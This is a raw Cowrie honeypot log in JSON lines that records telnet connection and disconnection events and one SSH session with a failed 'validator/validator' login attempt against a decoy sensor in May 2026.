{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"78d5d1609cce","protocol":"telnet","message":"New connection: 62.210.97.77:35562 (10.17.0.5:23) [session: 78d5d1609cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:17.923929Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60498,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8eb195a0a7","protocol":"telnet","message":"New connection: 165.232.131.181:60498 (10.17.0.5:23) [session: fe8eb195a0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:18.386635Z"}
{"eventid":"cowrie.session.closed","duration":6.116125106811523,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:18.845162Z","src_ip":"38.54.119.93","session":"19c8e71f37a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.07467555999756,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:20.843599Z","src_ip":"65.60.27.33","session":"744ab41c7af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.078397035598755,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:21.073356Z","src_ip":"165.232.131.181","session":"951286526d2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04452037811279,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:21.957129Z","src_ip":"62.210.97.77","session":"dbb2b2b97c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43336,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cfca921cf7","protocol":"telnet","message":"New connection: 62.210.97.77:43336 (10.17.0.5:23) [session: f3cfca921cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:22.818533Z"}
{"eventid":"cowrie.session.closed","duration":44.07456111907959,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:23.691551Z","src_ip":"165.232.131.181","session":"78b152b9b900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43340,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc04ac070824","protocol":"telnet","message":"New connection: 62.210.97.77:43340 (10.17.0.5:23) [session: bc04ac070824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:23.914893Z"}
{"eventid":"cowrie.session.closed","duration":8.03033971786499,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:25.052765Z","src_ip":"38.54.119.93","session":"8fbd9c3fecbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.58343505859375,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:25.208745Z","src_ip":"165.232.131.181","session":"cea5abc15df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43352,"dst_ip":"10.17.0.5","dst_port":23,"session":"14cc818935e7","protocol":"telnet","message":"New connection: 62.210.97.77:43352 (10.17.0.5:23) [session: 14cc818935e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:27.777210Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33080,"dst_ip":"10.17.0.5","dst_port":23,"session":"c17866064206","protocol":"telnet","message":"New connection: 62.210.97.77:33080 (10.17.0.5:23) [session: c17866064206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:29.936762Z"}
{"eventid":"cowrie.session.closed","duration":39.2648766040802,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:30.829133Z","src_ip":"62.210.97.77","session":"7c2cbbd05cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.03976583480835,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:32.236219Z","src_ip":"38.54.119.93","session":"efed7e9c1ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44462,"dst_ip":"10.17.0.5","dst_port":23,"session":"f02db85d6129","protocol":"telnet","message":"New connection: 65.60.27.33:44462 (10.17.0.5:23) [session: f02db85d6129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:32.792633Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38826,"dst_ip":"10.17.0.5","dst_port":23,"session":"038ff34ecfc7","protocol":"telnet","message":"New connection: 165.232.131.181:38826 (10.17.0.5:23) [session: 038ff34ecfc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:35.167045Z"}
{"eventid":"cowrie.session.closed","duration":37.479066371917725,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:36.354414Z","src_ip":"62.210.97.77","session":"5a27d117dbec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62178349494934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:36.508276Z","src_ip":"62.210.97.77","session":"f483737b98a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.170201778411865,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:38.379251Z","src_ip":"62.210.97.77","session":"4f01786cb50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.971078872680664,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:39.301146Z","src_ip":"38.54.119.93","session":"3445704fbf39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2249870300293,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:39.425472Z","src_ip":"62.210.97.77","session":"8a028abf871e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.07219314575195,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:40.110404Z","src_ip":"165.232.131.181","session":"60c9c5b849ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8707c6622c8","protocol":"telnet","message":"New connection: 62.210.97.77:51304 (10.17.0.5:23) [session: a8707c6622c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:40.747837Z"}
{"eventid":"cowrie.session.closed","duration":45.16729545593262,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:41.313647Z","src_ip":"65.60.27.33","session":"5a36c5a575b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.81279730796814,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:42.634133Z","src_ip":"165.232.131.181","session":"ab9b4efde639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51306,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a6318ad5da","protocol":"telnet","message":"New connection: 62.210.97.77:51306 (10.17.0.5:23) [session: 09a6318ad5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:42.998208Z"}
{"eventid":"cowrie.session.closed","duration":33.5065233707428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:45.329422Z","src_ip":"62.210.97.77","session":"99027348d62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8aeef85ff0c","protocol":"telnet","message":"New connection: 62.210.97.77:51312 (10.17.0.5:23) [session: d8aeef85ff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:46.563677Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46788,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dd892ef966e","protocol":"telnet","message":"New connection: 38.54.119.93:46788 (10.17.0.5:23) [session: 1dd892ef966e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:48.520416Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f31cb5d8cf6","protocol":"telnet","message":"New connection: 165.232.131.181:42126 (10.17.0.5:23) [session: 2f31cb5d8cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:48.868513Z"}
{"eventid":"cowrie.session.closed","duration":0.005010128021240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:48.873380Z","src_ip":"165.232.131.181","session":"2f31cb5d8cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99226665496826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:49.236776Z","src_ip":"62.210.97.77","session":"6115426971ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64845013618469,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:49.711869Z","src_ip":"62.210.97.77","session":"2362bedd84c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42691111564636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:53.017383Z","src_ip":"62.210.97.77","session":"616cb0a00303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31027841567993,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:53.233963Z","src_ip":"62.210.97.77","session":"78d5d1609cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50372,"dst_ip":"10.17.0.5","dst_port":23,"session":"71e7c0e940da","protocol":"telnet","message":"New connection: 38.54.119.93:50372 (10.17.0.5:23) [session: 71e7c0e940da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:53.409922Z"}
{"eventid":"cowrie.session.closed","duration":5.7586140632629395,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:54.278859Z","src_ip":"38.54.119.93","session":"1dd892ef966e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50986,"dst_ip":"10.17.0.5","dst_port":23,"session":"df10a8992ba2","protocol":"telnet","message":"New connection: 38.54.119.93:50986 (10.17.0.5:23) [session: df10a8992ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:54.560067Z"}
{"eventid":"cowrie.session.closed","duration":47.427021503448486,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:55.026257Z","src_ip":"165.232.131.181","session":"edc502212258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"95dfb413fef5","protocol":"telnet","message":"New connection: 165.232.131.181:44842 (10.17.0.5:23) [session: 95dfb413fef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:55.236594Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47248,"dst_ip":"10.17.0.5","dst_port":23,"session":"819a163ed3b3","protocol":"telnet","message":"New connection: 165.232.131.181:47248 (10.17.0.5:23) [session: 819a163ed3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:57.059301Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47676,"dst_ip":"10.17.0.5","dst_port":23,"session":"51de9e85dd02","protocol":"telnet","message":"New connection: 165.232.131.181:47676 (10.17.0.5:23) [session: 51de9e85dd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:58.105301Z"}
{"eventid":"cowrie.session.closed","duration":35.027709007263184,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:58.942468Z","src_ip":"62.210.97.77","session":"bc04ac070824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.159883975982666,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:15:58.978291Z","src_ip":"62.210.97.77","session":"f3cfca921cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48508,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d22517300d","protocol":"telnet","message":"New connection: 165.232.131.181:48508 (10.17.0.5:23) [session: 92d22517300d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:00.117158Z"}
{"eventid":"cowrie.session.closed","duration":7.848479747772217,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:01.258090Z","src_ip":"38.54.119.93","session":"71e7c0e940da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44426,"dst_ip":"10.17.0.5","dst_port":23,"session":"22efd2911ce3","protocol":"telnet","message":"New connection: 165.232.131.181:44426 (10.17.0.5:23) [session: 22efd2911ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:01.758776Z"}
{"eventid":"cowrie.session.closed","duration":0.01133871078491211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:01.769952Z","src_ip":"165.232.131.181","session":"22efd2911ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45290,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e3ed8c7c95","protocol":"telnet","message":"New connection: 62.210.97.77:45290 (10.17.0.5:23) [session: b9e3ed8c7c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:02.073395Z"}
{"eventid":"cowrie.session.closed","duration":45.15848970413208,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:03.544982Z","src_ip":"165.232.131.181","session":"fe8eb195a0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27086329460144,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:04.207512Z","src_ip":"62.210.97.77","session":"c17866064206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98498034477234,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:07.762058Z","src_ip":"62.210.97.77","session":"14cc818935e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"407dd0508d9c","protocol":"telnet","message":"New connection: 62.210.97.77:45292 (10.17.0.5:23) [session: 407dd0508d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:08.384605Z"}
{"eventid":"cowrie.session.closed","duration":120.0024139881134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:09.223237Z","src_ip":"165.232.131.181","session":"741a06ea06e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fd550f8ea6","protocol":"telnet","message":"New connection: 62.210.97.77:39688 (10.17.0.5:23) [session: 00fd550f8ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:11.919636Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e42ef1ceacf","protocol":"telnet","message":"New connection: 62.210.97.77:39690 (10.17.0.5:23) [session: 3e42ef1ceacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:12.814718Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37012,"dst_ip":"159.203.135.109","dst_port":22,"session":"5550ac8b3b13","protocol":"ssh","message":"New connection: 80.94.92.182:37012 (159.203.135.109:22) [session: 5550ac8b3b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:12.886961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:12.892420Z","src_ip":"80.94.92.182","session":"5550ac8b3b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:13.005405Z","src_ip":"80.94.92.182","session":"5550ac8b3b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:13.580923Z","src_ip":"80.94.92.182","session":"5550ac8b3b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.4279088973999,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:14.220419Z","src_ip":"65.60.27.33","session":"f02db85d6129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:14.791438Z","src_ip":"80.94.92.182","session":"5550ac8b3b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74506902694702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:15.492737Z","src_ip":"62.210.97.77","session":"a8707c6622c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.027111291885376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:16.025179Z","src_ip":"62.210.97.77","session":"09a6318ad5da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57084,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f73b86e0ab0","protocol":"telnet","message":"New connection: 165.232.131.181:57084 (10.17.0.5:23) [session: 5f73b86e0ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:21.567651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb2d4a677a2","protocol":"telnet","message":"New connection: 62.210.97.77:41440 (10.17.0.5:23) [session: bbb2d4a677a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:23.200621Z"}
{"eventid":"cowrie.session.closed","duration":37.11127948760986,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:23.674870Z","src_ip":"62.210.97.77","session":"d8aeef85ff0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41444,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc73d8717d0a","protocol":"telnet","message":"New connection: 62.210.97.77:41444 (10.17.0.5:23) [session: bc73d8717d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:26.329506Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41456,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9dca1e1a4e0","protocol":"telnet","message":"New connection: 62.210.97.77:41456 (10.17.0.5:23) [session: b9dca1e1a4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:26.899643Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36146,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9caa7056405","protocol":"telnet","message":"New connection: 62.210.97.77:36146 (10.17.0.5:23) [session: c9caa7056405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:29.819058Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e95e26fa1ec","protocol":"telnet","message":"New connection: 62.210.97.77:36154 (10.17.0.5:23) [session: 8e95e26fa1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:31.164487Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56308,"dst_ip":"10.17.0.5","dst_port":23,"session":"97dd2f2757de","protocol":"telnet","message":"New connection: 65.60.27.33:56308 (10.17.0.5:23) [session: 97dd2f2757de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:31.240763Z"}
{"eventid":"cowrie.session.closed","duration":120.00156116485596,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:31.246921Z","src_ip":"165.232.131.181","session":"e620191baeca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36170,"dst_ip":"10.17.0.5","dst_port":23,"session":"10503ad1b717","protocol":"telnet","message":"New connection: 62.210.97.77:36170 (10.17.0.5:23) [session: 10503ad1b717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:32.333024Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be627f6b42e","protocol":"telnet","message":"New connection: 38.54.119.93:44896 (10.17.0.5:23) [session: 5be627f6b42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:32.828778Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33902,"dst_ip":"10.17.0.5","dst_port":23,"session":"816654d598f3","protocol":"telnet","message":"New connection: 165.232.131.181:33902 (10.17.0.5:23) [session: 816654d598f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:35.403852Z"}
